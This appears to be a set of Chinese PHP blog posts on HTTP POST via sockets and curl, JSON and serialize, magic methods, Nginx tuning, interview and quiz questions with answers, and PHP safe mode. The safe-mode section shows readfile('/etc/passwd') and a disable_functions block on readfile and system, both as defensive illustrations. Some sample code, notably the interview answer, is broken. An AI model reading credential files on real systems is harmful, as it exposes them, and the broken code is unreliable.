PHP的三种HTTP请求,php模拟post 提交
方法一:利用php的socket编程来直接给接口发送数据来模拟post的操作。
建立两个文件post.php,getpost.php
post.php内容如下:
<?php
$flag = 0;
$post = '';
$errno = '';
$errstr = '';
//要post的数据
$argv = array(
'var1'=>'abc',
'var2'=>'how are you , my friend??'
);
//构造要post的字符串
foreach ($argv as $key=>$value) {
if ($flag!=0) {
$post .= "&";
$flag = 1;
}
$post.= $key."="; $post.= urlencode($value);
$flag = 1;
}
$length = strlen($post);
//创建socket连接
$fp = fsockopen("localhost",81,$errno,$errstr,10) or exit($errstr."--->".$errno);
//构造post请求的头
$header = "POST /flandy/getpost.php HTTP/1.1\r\n";
$header .= "Host:127.0.0.1\r\n";
$header .= "Referer:/flandy/post.php\r\n";
$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
$header .= "Content-Length: ".$length."\r\n";
$header .= "Connection: Close\r\n\r\n";
//添加post的字符串
$header .= $post."\r\n";
//发送post的数据
fputs($fp,$header);
$inheader = 1;
while (!feof($fp)) {
$line = fgets($fp,1024); //去除请求包的头只显示页面的返回数据
if ($inheader && ($line == "\n" || $line == "\r\n")) {
$inheader = 0;
}
if ($inheader == 0) {
echo $line;
}
}
fclose($fp);
?>
getpost.php的内容如下
<?php
echo "this is the data posted";
echo "<pre>";
print_r($_REQUEST);
echo "</pre>";
?>
结果输出:
this is the data posted
[var1] => abc
[var2] => how are you , my friend??
)
方法二:
使用PHP的curl扩展或HttpClient.class.php类,这两个非常类似,下面简单的列出curl的实现代码。
两个文件post2.php和getpost2.php
post2.php的内容如下:
<?php
$psecode = ’NDE005’;
$website = ’www.baidu.com’;
$amt = 1;
$pwd = 123456;
$ch = curl_init();
$curl_url = "http://localhost:81/flandy/getpost2.php?web=" . $website .
"&pwd=" . $pwd . "&action=check&pseid=" . $psecode .
"&amt=" . $amt;
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);//不直接输出,返回到变量
$curl_result = curl_exec($ch);
$result = explode(',', $curl_result);
curl_close($ch);
print_r($result);
?>
getpost2.php的内容如下:
<?php
echo "returndata<br>";
echo "<pre>";
print_r($_REQUEST);
echo "</pre>";
?>
结果输出:
Array (
[0] => returndata Array(
[web] => ’wwwbaiducom’
[pwd] => 123456
[action] => check
[pseid] => ’NDE005’
[amt] =>
)
) 方法三:这个要借助第三方类库HttpClient可以到这里下载:http://scripts.incutio.com/httpclient/<?php
require_once 'HttpClient.class.php’;
$params = array(’web’ => ’www.baidu.com’,
’pwd’ => ’123456’,
’action’ => ’check’,
’pseid’ => ’NDE005’,
’amt’ => 1);
$pageContents = HttpClient::quickPost(’http://localhost:81/flandy/getpost3.php’, $params);
$result = explode(’,’, $pageContents);
print_r($result);
?>
补充: HTTP请求常用方案有以下(友情提示:排列顺序只为所想起时的先后顺序并再无特别含义) 1.HttpClient Version 0.9, Simon Willison April 6th 2003 http://scripts.incutio.com/httpclient/HttpClient.class.php 2.snoopy 3.pear::http_client 4.curl or php_curl 前3个算是比较完整的类,所以后面的暂时不考虑了。 人气测试(pear::http_client友情出场): 2.Google Code Search Snoopy 100 pear::http_client 12 (还是请继续回去等通知吧) 核心PK: 功能PK: |
PHP对JSON处理数组的使用
对于JSON(JavaScript Object Notation)大家应该不陌生,它是一种轻量级的数据交换格式。易于人阅读和编写。同时也易于机器解析和生成。它基于 PHP的serialize是将变量序列化,返回一个具有变量类型和结构的字符串表达式,
说起来两者都是以一种字符串的方式来体现一种数据结构,那它们之间有什么区别呢。
先从JSON说起,看一个简单的实例。
例一:
“名称/值”对的集合(A collection of name/value pairs)。不同的语言中,它被理解为对象(object),纪录(record),结构(struct),字典(dictionary),哈希表(hash table),有键列表(keyed list),或者关联数组 (associative array)。
值的有序列表(An ordered list of values)。在大部分语言中,它被理解为数组(array)。
document.write(test.Name + ": " + test.Age);
显示结果:
变量test中{"Name":"Peter","Age":20}为一个有2个元素的对象(感觉就像PHP的数组):
Name为Peter,Age为20。
当然也可以变得复杂些。
例二:
document.write(test.User.Name + ": " + test.Company);
显示结果:
这个例子中User元素中包含了Name和Age。
如果要体现多个User,则需要使用数组,区别于对象的"{}",数组使用"[]"。
例三:
{"User":{"Name":"Peter","Age":20},"Company":"FORD"},
{"User":{"Name":"Li Ming","Age":20},"Company":"Benz"}
];
document.write(test[1].User.Name + ": " + test[1].Company);
//或者使用:document.write(test[1]["User"]["Name"] + ": " + test[1]["Company"]);
显示结果:
通过以上简单实例就能将一些复杂数据通过一个字符串来进行传递,再配合上Ajax的确是方便很多。
下面再来看看PHP的serialize函数的作用。
例四:
(
'Peter'=> array
(
'Country'=>'USA',
'Age'=>20
),
'Li Ming'=> array
(
'Country'=>'CHINA',
'Age'=>21
)
);
$serialize_var = serialize($arr);
echo $serialize_var;
显示结果:
这个结果看上去比JSON要复杂一些,其实也很简单,它说明的就是一些数据类型和结构。
以a:2:{s:7:"Country";s:3:"USA";s:3:"Age";i:20;}为例:
a:2说明这是个有两个元素的数组(array),
s:7:"Country";s:3:"USA";为第一个元素,s:7说明这是有7个字符的字符串(string),
后面i:20;也应该猜得到是整数(integer)20。
再来看一下这个例子,
例五:
{
var $var = 0;
function add(){
echo $var+10;
}
}
$unserialize_var = new test;
$serialize_var = serialize($unserialize_var);
echo $serialize_var;
$unserialize_var = null;
$unserialize_var = unserialize($serialize_var);
$unserialize_var->add();
显示结果:
10
从这个例子中可以看出来,serialize对数据的类型和结构都进行的保存,
unserialize后的变量仍然可以使用add()方法。
那么PHP和JSON有没有联系呢,熟悉PHP的朋友应该了解PHP5.2.0已经将JSON extension设置为默认组件,也就是说我们可以在PHP中进行JSON操作,其函数为json_encode和json_decode。
例六:
(
'Name'=>'Peter',
'Age'=>20
);
$jsonencode = json_encode($arr);
echo $jsonencode;
显示结果:
这个结果和例一中test值是一样的,通过json_encode将PHP中的变量转换为JSON字符出表达式。
再来看看json_decode的用法。
例七:
$jsondecode = json_decode($var);
print_r($jsondecode);
显示结果:
这的确验证了,在JSON中{"Name":"Peter","Age":20}是一个对象,但是在PHP中也可以将其转为数组,在json_decode中将ASSOC参数设置为True即可。
例八:
$jsondecode = json_decode($var,true);
print_r($jsondecode);
显示结果:
另,需要注意的是JSON是基于Unicode格式,所以要进行中文操作要将其转化为UTF-8格式。
通过上面这些例子相信大家对于JSON和PHP的serialize、json_encode都有了初步了解,
结合PHP、Javascript、JSON以及Ajax就可以完成强大的数据交互功能。
最佳开源PHP在线代理程序Glype
最佳开源PHP在线代理程序Glype
Glype proxy script is a free-to-use, web-based proxy script written in PHP. Similar to a typical proxy server, a web-proxy script downloads requested web pages and files and forwards them back to the user. The service is provided by a web page itself, which allows instant access to the proxy without editing your browser connection settings.
Web proxies are commonly used for anonymous browsing and bypassing censorship restrictions. There is a huge market for these sites and glype proxy allows webmasters to quickly and easily set up their own proxy sites.
php调试工具你用过几个 (锦集)
PHP现在已经是使用最为广泛的开源服务器端脚本语言之一,当然PHP并不是速度最快的,但它却是最常用的脚本语言。PHP100出品的 EclipsePHP Sutdio 也曾收到广大PHPer好评,但不可能每个人的习惯是一样的,尤其是对与探索的朋友,所以今天PHP100就在这里介绍50个有益的PHP工具,可以大大 提高你的编程工作,希望大家转载此文章时候注明来源
调试工具
测试和优化工具
文档工具
安全工具
- Securimage :验证码工具。
- Scavenger
- PHP-IDS
- Pixy :代码检查工具。
图形处理
代码优化
版本控制系统
有用的拓展,使用工具和类
- SimplePie :PHP RSS 解析程序
- HTML Purifier :可以用来移除所有恶意代码(XSS),而且还能确保你的页面遵循W3C的标准规范。
- TCPDF :一个用于快速生成PDF文件的PHP5函数包。
- htmlSQL :一个是你可以方便的对HTML和XML内容方便的使用类似SQL语句进行检索的PHP类。
- The Greatest PHP Snippet File Ever (Using Quicktext for Notepad++)
- Creole :用PHP5编写, 是一个基于真正意义的OO的层,API接口以JDBC为基础。
- PHPLinq :用SQL语法操作PHP数组。
- PHPMathPublisher:作者是一位法国中学数学老师。
- phpMyAdmin :可以通过互联网在线控制和操作MySQL。
- PHPExcel :相当强大的MS Office Excel 文档生成类库。
- Phormer :一个轻量级,强大的PHP在线相册。
- xajax PHP Class Library :一个开源的PHP 类库,用来构建WEB上的Ajax 程序。
- PHP User Class :用户管理。
- PHP-GTK :为了证明PHP是一种远远超越网络应用程序的有效的工具而开发的。使用PHP-GTK你可以建立独立的GUI(用户图形界面)应用程序。
在线工具和资源
- Minify! :使用 PHP5 开发的用于合并压缩 js/css 文件的应用程序。合并压缩之后的结果可通过 HTTP gzip/deflate 及一些相关头,优化客户端缓存。
- HTTP_StaticMerger:自动“合并”CSS和JavaScript文件。
- PHP Object Generator :一个开源的PHP代码生成器。它能够为你的PHP4/PHP5应用程序生成简洁和可测试的面向对象代码。
gotAPI/PHP
PHP类中的魔术方法+动态类导学
<?php
class test
{
public $a;
public function __set($name,$value)
{
$this->a[$name]=$value;
}
}
$a=new test();
$a->b=2;
echo $a->a['b'];
<?php
class Test {
private $a;
public function __set($name, $value) { //必须是两个参数
$this->$name= $value;
//这里不明白为什么是$this->$name ?? 一般不是这样写吗?
}
public function __get($name) { //一个参数,要获得的属性
if( isset($this->$name))
{
echo "{$name} 的值是:";
return $this->$name;
} else {
$this->$name=0;
return "{$name} 未设置, {$name} 被初始化为0.<br />";
}
}
}
$test = new Test();
$test->__set('a', '我是A');
echo $test->__get('a');
echo '<br />';
echo $test->__get('b');
echo $test->__get('b');
?>`
[/php]
<?php
class Test {
//var $a; //这样就不输出
// public $a; //这样也不输出
//protected $a; //输出 你小子偷看我??
private $a; //输出 你小子偷看我??
public function __construct($value) {
$this->a = $value;
}
public function __isset($name) {
echo "你小子偷看我??";
return ($name); //返回真是的信息
}
public function __unset($name) {
echo "你没权利宰了我!";
unset($name); // 将name 改为$this->a 才消除a??
}
public function get(){
return $this->a;
}
}
$test = new Test("我是a");
isset($test->a);
unset($test->a); // isset 和 __isset() 之间的执行关系是怎样的????
echo $test->get();
?>
[/php]
<?php
class Test {
//var $a; //这样就不输出
// public $a; //这样也不输出
//protected $a; //输出 你小子偷看我??
private $a; //输出 你小子偷看我??
public function __construct($value) {
$this->a = $value;
}
public function __isset($name) {
echo "你小子偷看我??";
return isset($name); // 这里需要返回一个bool类型.应该这样写 如果不想让别人知道就直接 return false;
}
public function __unset($name) {
echo "你没权利宰了我!";
unset($name); // $name为形参.当然不能删除$this->a
}
public function get(){
return $this->a;
}
}
$test = new Test("我是a");
isset($test->a);
unset($test->a); // 当执行isset()的时候.系统就去找是否存在__isset() 如果存在就去执行.就是isset()的一个回调.
echo $test->get();
?>
[/php]
PHP高级软件工程师课程体系
课程介绍:
本课程共220课时,涉及到PHP开发的所有高级技术,通过进行大型Web项目的架构设计和开发。课程内容包括目前非常流行的像Ajax、 jQuery、PDO、Smarty模板、Soap、Memcached、MySQL数据库的高级应用,以及自己去编写框架进行应用,还有 ThinkPHP框架和一些比较常用的Zend产品和PHP6的最新特性。课程中的每个技术点的内容都非常全面,深度到位,课上实例不仅丰富而且实用。另 外,每个知识点都是以目前最新版本的技术设计,每半年一更新,并经过多家软件公司的技术专家参与修订,以达到真正实用的目的,能够与大型软件开发公司所需 要的开发技术相吻合。课程中的每个知识点都是程序开发人员必不可少的内容,都可以提高开发人员的开发效率,开发出安全、稳定的Web系统。
课程特点:
- 1. 最主流的PHP和MySQL高级技术
- 2. 将程序开发人员水平提高到一个新的高度
- 3. 内容全面、案例丰富,采用目前最新的Web开发模式
- 4. 与大型PHP开发型项目技术同步
- 5. 课程中的技术点全部采用最新技术点讲解
- 6. 课程中的两个项目全是采用现在最主流的MVC设计模式和面向对象技术开发,第一个项目使用自定义框架技术,第二个项目内使用国内最流行的ThinkPHP框架实现。
- 7. 课程中涉及多种框架技术,使用开发人员不用再从底层一步步开发,就可以快速开发出安全稳定的项目,积累丰富的开发经验
- 8. 以最短的时间,达到高级软件工程师水平
- 9. 采用案例式教学,通过专家讲师的带领使学员可以具有独立开发大型网站的能力
- 10. 课程的技术点完全采用编码规范,使学员熟练应用,提高编码效率
预期目标:
- 1. 掌握所有Web开发的高级技能,积累大型项目的开发经验
- 2. 通过这部分课程可以加强PHP高级部分学习,学员能熟练进行网站分析设计,数据库的结构设计,提高编程能力
- 3. 符合企业需求的Web软件高级开发工程师
- 4. 通过PDO的学习,可以提高数据库的处理效率,并可以以一种接口处理多种数据库,方便数据移植
- 5. 通过Ajax、JQuery和Smarty的学习可以精通Web前台技术,编写出合格的网页界面
- 6. 通过面向对象和MVC的学习可以将表现和业务分离
- 7. 通过框架技术的学习,可以提高开发效率,掌握框架内容。
- 8. 通过soap的学习,可以进行分布式开发
- 9. 熟悉数据库服务器的维护、优化、安全设置,精通SQL语句编写
- 10. 使用PHP技术可以独立完成建站工作,对现有的成熟产品进行二次开发,团队合作完成大型项目的设计与开发,以及产品的测试与维护
适合目标群体:
- 1. 第一阶段学完,并完成项目开发的学员
- 2. 有一些PHP基础,通过PHP开发过一些小项目
- 3. 大学计算机系任课教师
- 4. 运营和维护网站的管理员
- 5. 从事多年像Asp.net或Java的程序员想转到PHP的程序员
- 6. 从事过1年以内的PHP程序员,为提高自己的编程水平
常见的开发项目案例:
所有的个人和企业动态网站、淘宝网、京东商城、团购网、人人网、开心网、腾迅网、新浪网、CSDN技术社区、DeDeCMS系统、PHPWind论坛、微博,和所有现有产品的二次开发等
课程名 | 科目 | 内容 | 完成目标 | 课时(14) |
PHP面向对象的程序设计 |
|
|
面向对象是PHP5中的新加功能,也是PHP以后编写代码的方式,本节掌握面向对象在行业中的应用,并了解一些基本的面向对象的声明语法。 |
1 |
|
|
|||
|
|
本节掌握对象在程序中的应用,在内存中的分配形式,还要对象中的成员访问方式,并要掌握构造和析构以及关键字$this使用。 |
1 | |
|
|
使用面向对象一定要使用他的三大特性,封装就是其中之一,这节掌握封装的意义以及封装的应用和各种与封装有关的魔术方法。 |
2 | |
|
|
继承性也是面向对象的三大特性之一,本节需要掌握继承的意义与应用,访问控制和重载的方式。 |
2 | |
|
|
在PHP的面向对象的程序设计中会用动一些常见的关键字和一些常用的魔术方法,在这一节中有许多都是常的,所以都需要全部掌握,并可以灵活运用。 |
1 | |
|
|
这节主要了解抽象类和接口的作用,并掌握他们的声明与应用,重点掌握多态性的应用。 |
2 | |
|
|
PHP中提供的类和对象有关的函数不多,但比较常用。 |
1 | |
|
|
通过这几个类的编写,不仅可以方便你在所有PHP项目中通用这些功能类,还可以对面向对象技术进行总结。 |
4 |
课程名 | 科目 | 内容 | 完成目标 | 课时(22) |
PHP的mysqli模块扩展 |
|
|
存储过程是一种存储在书库中的程序,本节需要掌握一个存储过程包括名子,参数列表,以及包括很多SQL语句的SQL语句集,以及对局部变量,异常处理,循环控制和IF条件名的语法定义。 |
2 |
|
|
本节需要掌握触发器的应用,使用如果在PHP中使用触发器。 |
2 | |
|
|
本节中介绍视图的应用,需要掌握MySQL对视图的支技和如果将视图整合到PHP应用程序中。 |
1 | |
|
|
本节主要内容是介绍一些在PHP项目中常用到的SQL语句的编写,掌握一些SQL语句的使用和优化的技巧。 |
2 | |
|
|
本节需要掌握如何为一个数据表创建索引,提高数据库的搜索过程,和掌握事务处理的原理和操作方法,并将其和PHP程序结合使用。 |
1 | |
|
|
|||
|
|
PHP的mysqli模块是对mysql模块的改进,使用PHP处理数据库效率有所提高,也使用的面向对象的处理方式,本节需要掌握mysqli安装、连接,以及和连接相关的mysqli类中成员的应用。 |
1 | |
|
|
|||
|
|
本节主要需要掌握mysqli结果集对象的处理方法和属性,完成对数据中查询到的结果进行处理。 |
1 | |
|
|
本节需要掌握预处理对象的应用,以及如果使用问号参数,绑定参数,执行准备好的语句,和处理SELECT查询等。并可以通过mysqli完成事务处理的操作。 |
2 | |
|
|
|||
数据库抽象层PDO |
|
|
本节要掌握PDO的应用原理和驱动设置,以及PDO的安装方法,并可以以多种方式创建PDO对象,和面要了解PDO对象中的成员。 |
1 |
|
|
|||
|
|
|||
|
|
本节需要掌握PHP中的各种属性的应用、设置和读取,以及PDO的错误处理模式,还需要了解通过PDO执行SQL语句。 |
1 | |
|
|
PDO的预处理对象,可以完成PHP程序和数据库之间的各种操作。本节需要掌握如果使用PDO准备预处理语句,和绑定参数、执行准备好的语句,获取数据和大数据对象的存取,并可以使用PDO完成事务处理操作。 |
2 | |
|
|
|||
Memcached应用 |
|
|
memcached是一个高性能的分布 式的内存对象缓存系统,通过在内存里维护一个统一的巨大的hash表,它能够用来存储各种格式的数据,包括图像、视频、文件以及数据库检索的结果等。这个 缓存项目来构建自己大负载的网站,来分担数据库的压力。需要掌握Memcache全部细节。 |
2 |
session的高级 |
|
|
Session的信息除了可以写入到默认的文件中,也可以自己指定远程文件,以及写入到数据表中,还可以写入memcached来管理用户的信息,这是最优的一种方式,通过这种用法不仅可以提高管理用户信息的效率,还能方便完成在线用户的统计,掌握会话控制的全部技能。 |
3 |
项目设计 |
|
|
通过该项项目的开发,不仅可以完成无限分类的设计,还可以帮助掌握数据库的应用,以及PHP中处理数据库的方式。 |
3 |
课程名 | 科目 | 内容 | 完成目标 | 课时(40) |
页面特效开发脚本 |
|
|
可以完成JavaScript的所有语法的学习,以及和HTML和CSS联合使用,并可以编写一些页面中常见的脚本程序。 |
8 |
|
|
学会页面中DOM的灵活应用、事件处理,还有各种DOM对象的属性和方法,以及网页中所有特效的编写。 |
12 | |
|
|
XML技术也是在Web开发中常见的应用形式, 本节掌握XML文件的编写和注意事项,以及DTD的应用与语法格式。 |
2 | |
|
|
本节掌握通过JavaScript中的XML DOM去实现XML节点数的遍历、添加、删除和悠改,并处理各种浏览器之间的差异。 |
2 | |
|
|
这节要了解异步传递数据的方式,并掌握创建Ajax对象和应用Ajax对象中的属性和方法。通过完成编写Ajax对象的应用,简化Ajax的应用。 |
4 | |
Ajax与JQuery框架应用 |
|
|
本节需要掌握在HTML文件中添加JQuery的应用,可以使用JQuery中的核心方法,以及常用选择器的使用,和一些常用的JQuery方法。 |
2 |
|
|
Ajax是JQuery重点实现的技术,掌握JQuery中的几种实现方法。 |
2 | |
|
|
使用JQuery实现一些常见的页面实例,进面巩固JQuery的学习。 |
4 | |
PHP与XML |
|
|
本节需要掌握PHP处理XML的方式,包括DOM和SAX两种方式。 |
2 |
|
|
Web Service是Web开发中常见的技术,这节需要掌握SOAP的应用。 |
2 |
课程名 | 科目 | 详细内容 | 完成目标 | 课时(34) |
PHP的模板技术Smarty |
|
|
了解模板技术在PHP开发中的应用,并通过编写简单的模板引擎,掌握模板引擎的工作原理。 |
1 |
|
|
|||
|
|
本节需要掌握Smarty的安装和安使用化Smarty对象的一些些节,并通过一个简单的示例来了解Smarty工作原理,以及在应用程序中使用Smarty模板技术的步骤。 |
2 | |
|
|
|||
|
|
|||
|
|
本节需要掌握Smarty的基本语法,包括在模板中的注释,变量的声明,以在PHP中向模板中分配变量,还有保留变理和变量调解器、控制结构和子模板的应用。 |
2 | |
|
|
这节需要掌握为什么要使用配置文件,和配置文件的使用方法。 |
1 | |
|
|
缓存是模板技术中重点需要实现的,本节需要掌握模板的开启选项,使用多个缓存,以及消除处理开销和清除关闭局部缓存。 |
2 | |
PHP设计模式 |
|
|
本节需要掌握MVC的设计模式,包括视图、控制器、模型的应用。 |
4 |
创建自己的PHP框架 |
|
|
框架是开发项目的半成品,可以将项目开发的时间提高50%,通过自己定义的框架技术不仅可以将所学的知识点全部串在一起应用,还可以掌握框架内幕,对以后的学习和工作大有帮助,需要掌握框架开发的每个细节。 |
10 |
PHP中应用框架技术 |
|
|
本节需要掌握ThinkPHP的工作方式和ThinkPHP的目录结构。 |
2 |
|
|
本节需要掌握控制器的编写结构和访问方式,并掌握ThinkPHP内置控制中的一些常用方法。 |
2 | |
|
|
本节需要掌握模型的操作,包括ThinkPHP中常用的模型功能。 |
2 | |
|
|
重点掌握ThinkPHP的模板应用以及一些模板的相关操作。 |
2 | |
|
|
掌握一些ThinkPHP的特殊处理,包括错误和日志、调试、缓存以及安全方面的处理。 |
1 | |
|
|
掌握ThinkPHP中内置的常用功能类库,也要掌握自己编写类型对ThinkPHP时进行扩展。 |
1 | |
|
|
掌握ThinkPHP中处理用户权限 |
1 | |
|
|
本节需要掌握ThinkPHP与第三方常用的软件库和类库的结合应用。 |
1 | |
PHP6的新特性 |
|
|
介绍了PHP6中的新特性和已更改的特性。其中最主要的特性就是对Unicode的支持。删除了一些配置选项,改进了扩展支持和OO函数。PHPV5.3支持PHPV6的50%的特性。 |
2 |
|
|
|||
Zend的产品 |
|
|
Zend公司的核心产品应该是PHP语言。其实我们把PHP理解为一个Web引擎或开发平台可能也没错。Zend公司依托其优秀的、开源的PHP语言在程序员中创下了良好的口碑,并围绕PHP语言开发了一系列的支持产品,形成了一条从Web项目/产品开发到部署的生产线。 |
18 |
|
|
|||
|
|
|||
|
|
科目 | 内容 | 完成目标 | 课时(40) |
第二个项目基于自定义PHP框架 |
|
以组为单位任选一个项目,完成项目的分析、设计、编码、整合与测试,并可以正常运行,消除BUG.符合代码的编码规范和Web开发规范,并要基于MVC模式和面向对象思想,并用到前面课程所学到的全部知识点完成项目。 |
40 |
|
|||
|
科目 | 内容 | 完成目标 | 课时(48) |
基于ThinkPHP框架 |
|
以组为单位任选一个项目,基于ThinkPHP的框架技术实现。 |
48 |
|
|||
|
解决Nginx + PHP(FastCGI)遇到的502 Bad Gateway错误
由于服务器版本的不稳定,将Nginx的程序迁移到Apache执行
昨日,有朋友问我,他将Web服务器换成Nginx 0.6.31 + PHP 4.4.7(FastCGI)后,有时候访问会出现“502 Bad Gateway”错误,如何解决。
我让按照以下两个步骤去解决,最后在第2步中将FastCGI的timeout时间增加为300,问题解决:
PS:比较羡慕迅雷的Web服务器,16G内存。
1、查看当前的PHP FastCGI进程数是否够用:
netstat -anpo | grep "php-cgi" | wc -l
如果实际使用的“FastCGI进程数”接近预设的“FastCGI进程数”,那么,说明“FastCGI进程数”不够用,需要增大。
2、部分PHP程序的执行时间超过了Nginx的等待时间,可以适当增加nginx.conf配置文件中FastCGI的timeout时间,例如:
http
{
......
fastcgi_connect_timeout 300;
fastcgi_send_timeout 300;
fastcgi_read_timeout 300;
......
}
......
腾讯面试题PHP
1. 请对POSIX风格和兼容Perl风格两种正则表达式 的主要函数 进行类比说明
ereg preg_match
ereg_replace preg_replace
2. 请说明在PHP.ini中safe_mode开启之后对于PHP 系统 函数的影响
3. PHP5中魔术方法函数有哪几个,请举例说明各自的用法
__sleep
__wakeup
__toString
__set_state
__construct,
__destruct
__call,
__get,
__set,
__isset,
__unset
__sleep,
__wakeup,
__toString,
__set_state,
__clone
__autoload
4. 请写出让,并说明如何在命令行下运行PHP脚本(写出两种方式)同时向PHP脚本传递参数?
5. PHP的垃圾收集机制是怎样的
6.使对象可以像数组一样进行foreach循环,要求属性必须是私有。
(Iterator模式的PHP5实现,写一类实现Iterator接口)
7.请写一段PHP代码 ,确保多个进程同时写入同一个文件 成功
8. 用PHP实现一个双向队列
9. 使用正则 表达式提取一段标识语言(html 或xml )代码段中指定标签的指定属性值(需考虑属性值对不规则的情况,如大小写不敏感,属性名值与等号间有 空格等)。此处假设需提取test标签的attr属性值,请自行构建包含该标签的串
<test attr=”ddd”>
<test attr/s*=/s*[“ ?’](.*?)[” ?’].*?>
10.请使用socket相关函数(非curl)实现如下功能 :构造一个post 请求,发送到指定http server的指定端口的指定请求路径(如http://www.example.com:8080/test )。请求中包含以下变量:
用户名(username):温柔一刀
密码(pwd):&123=321&321=123&
个人简介(intro):Hello world!
且该http server需要以下cookie来进行简单的用户动作跟踪:
cur_query:you&me
last_tm:...(上次请求的unix时间 戳,定为当前请求时间前10分钟)
cur_tm:...(当前请求的unix时间戳)
设置超时为10秒,发出请求后,将http server的响应内容输出。复制内容到剪贴板代码:Function encode($data, $sep = ‘&’){
while (list($k,$v) = each($data)) {
$encoded .= ($encoded ? "$sep" : "");
$encoded .= rawurlencode($k)."=".rawurlencode($v);
}
Return $encoded;
}
Function post($url, $post, $cookie){
$url = parse_url($url);
$post = encode($data, ‘&’);
$cookie = encode($cookieArray, ‘;’);
$fp = fsockopen($url['host'], $url['port'] ? $url['port'] : 80, $errno, $errstr, 10);
if (!$fp) return "Failed to open socket to $url[host]";
fputs($fp, sprintf("POST %s%s%s HTTP/1.0/n", $url['path'], $url['query'] ? "?" : "", $url['query']));
fputs($fp, "Host: $url[host]/n");
fputs($fp, "Content-type: application/x-www-form-urlencoded/n");
fputs($fp, "Content-length: " . strlen($encoded) . "/n");
fputs($fp, "Cookie: $cookie/n/n");
fputs($fp, "Connection: close/n/n");
fputs($fp, "$post /n");
while (!feof($fp)) {
echo fgets($fp, 128);
}
fclose($fp);
}
$url = ‘http://www.example.com:8080/test ’;
$encoded = username=温柔一刀& pwd=
$post = array(
‘username’=> ‘温柔一刀’,
‘pwd => ‘&123=321&321=123&’,
‘intro => ‘Hello world!’
);
$cookie = array(
‘cur_query’ => ‘you&me,
‘last_tm’ => time() - 600,
‘cur_tm ‘=> time()
);
Post($url, $post, $cookie);
11.你用什么方法检查PHP脚本的执行效率(通常是脚本执行时间)和数据库 SQL 的效率(通常是数据 库Query时间),并定位和分析脚本执行和数据库查询 的瓶颈所在?
1.脚本执行时间,启用xdebug,使用WinCacheGrind分析。
2.数据库查询,MySQL 使用EXPLAIN分析查询,启用slow query log记录慢查询。
PHP LAMP Engineer Test Paper
Question 1
What does <? echo count ("123") ?> print out?
A) 3
B) False
C) Null
D) 1
E) 0
Question 2
Which of the following snippets prints a representation of 42 with two decimal places?
A) printf("%.2d/n", 42);
B) printf("%1.2f/n", 42);
C) printf("%1.2u/n", 42);
Question 3
Given
$text = 'Content-Type: text/xml';
Which of the following prints 'text/xml'?
A) print substr($text, strchr($text, ':'));
B) print substr($text, strchr($text, ':') + 1);
C) print substr($text, strpos($text, ':') + 1);
D) print substr($text, strpos($text, ':') + 2);
E) print substr($text, 0, strchr($text, ':')
Question 4
What is the value of $a?
<?php
$a = in_array('01', array('1')) == var_dump('01' == 1);
?>
A) True
B) False
Question 5
What is the value of $result in the following PHP code?
<?php
function timesTwo($int) {
$int = $int * 2;
}
$int = 2;
$result = timesTwo($int);
?>;
Answer: NULL
Question 6
The code below ___________ because ____________.
<?php
class Foo {
?>
<?php
function bar() {
print "bar";
}
}
?>
A) will work, class definitions can be split up into multiple PHP blocks.
B) will not work, class definitions must be in a single PHP block.
C) will not work, class definitions must be in a single file but can be in multiple PHP blocks.
D) will work, class definitions can be split up into multiple files and multiple PHP blocks.
Question 7
When turned on, ____________ will _________ your script with different variables from HTML forms and cookies.
A) show_errors, enable
B) show_errors, show
C) register_globals, enhance
D) register_globals, inject
Question 8
What will be the output of the following PHP code:
<?php
echo count(strlen("http://php.NET"));
?>
Answer: 1
Question 9
What is the best all-purpose way of comparing two strings?
A) Using the strpos function
B) Using the == operator
C) Using strcasecmp()
D) Using strcmp()
Question 10
What is the difference between "print()" and "echo()"?
Answer: print is a function,echo is a language construct
http://www.blankyao.cn/blog/php-jobs.html
php中的安全模式?
被安全模式限制或屏蔽的函数
PHP 的安全模式是为了试图解决共享服务器(shared-server)安全问题而设立的。在结构上,试图在 PHP 层上解决这个问题是不合理的,但修改 WEB 服务器层和操作系统层显得非常不现实。因此许多人,特别是 ISP,目前使用安全模式。
表格 24-1. 控制安全模式的设置选项有:
设置选项 默认值
safe_mode Off
safe_mode_gid 0
safe_mode_include_dir ""
safe_mode_exec_dir 1
open_basedir ""
safe_mode_allowed_env_vars PHP_
safe_mode_protected_env_vars LD_LIBRARY_PATH
disable_functions ""
当 safe_mode 设置为 on,PHP 将检查当前脚本的拥有者是否和将被文件函数操作的文件的拥有者相匹配。例如: -rw-rw-r-- 1 rasmus rasmus 33 Jul 1 19:20 script.php
-rw-r--r-- 1 root root 1116 May 26 18:01 /etc/passwd
运行 script.php
<?php
readfile('/etc/passwd');
?>
如果安全模式被激活,则将会导致以下错误: Warning: SAFE MODE Restriction in effect. The script whose uid is 500 is not
allowed to access /etc/passwd owned by uid 0 in /docroot/script.php on line 2
同 时,或许会存在这样的环境,在该环境下,宽松的 GID 检查已经足够,但严格的 UID 检查反而是不适合的。您可以用 safe_mode_gid 选项来控制这种检查。如果设置为 On 则进行宽松的 GID 检查;设置为 Off(默认值)则进行 UID 检查。
除了 safe_mode 以外,如果您设置了 open_basedir 选项,则所有的文件操作将被限制在您指定的目录下。例如:
<Directory /docroot>
php_admin_value open_basedir /docroot
</Directory>
如果您在设置了 open_basedir 选项后运行同样的 script.php,则其结果会是: Warning: open_basedir restriction in effect. File is in wrong directory in
/docroot/script.php on line 2
您 也可以单独地屏蔽某些函数。请注意 disable_functions 选项不能在 php.ini 文件外部使用,也就是说您无法在 httpd.conf 文件的按不同虚拟主机或不同目录的方式来屏蔽函数。 如果我们将如下内容加入到 php.ini 文件: disable_functions readfile,system
则我们会得到如下的输出: Warning: readfile() has been disabled for security reasons in
/docroot/script.php on line 2
被安全模式限制或屏蔽的函数
以下安全模式列表可能不完整或不正确。
表格 24-2. 安全模式限制函数
函数名 限制
dbmopen() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
dbase_open() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
filepro() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
filepro_rowcount() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
filepro_retrieve() 将检查您将要操作的文件/目录与正在执行的脚本是否有相同的 UID。
ifx_*() sql_safe_mode 限制, (!= safe mode)
ingres_*() sql_safe_mode 限制, (!= safe mode)
mysql_*() sql_safe_mode 限制, (!= safe mode)
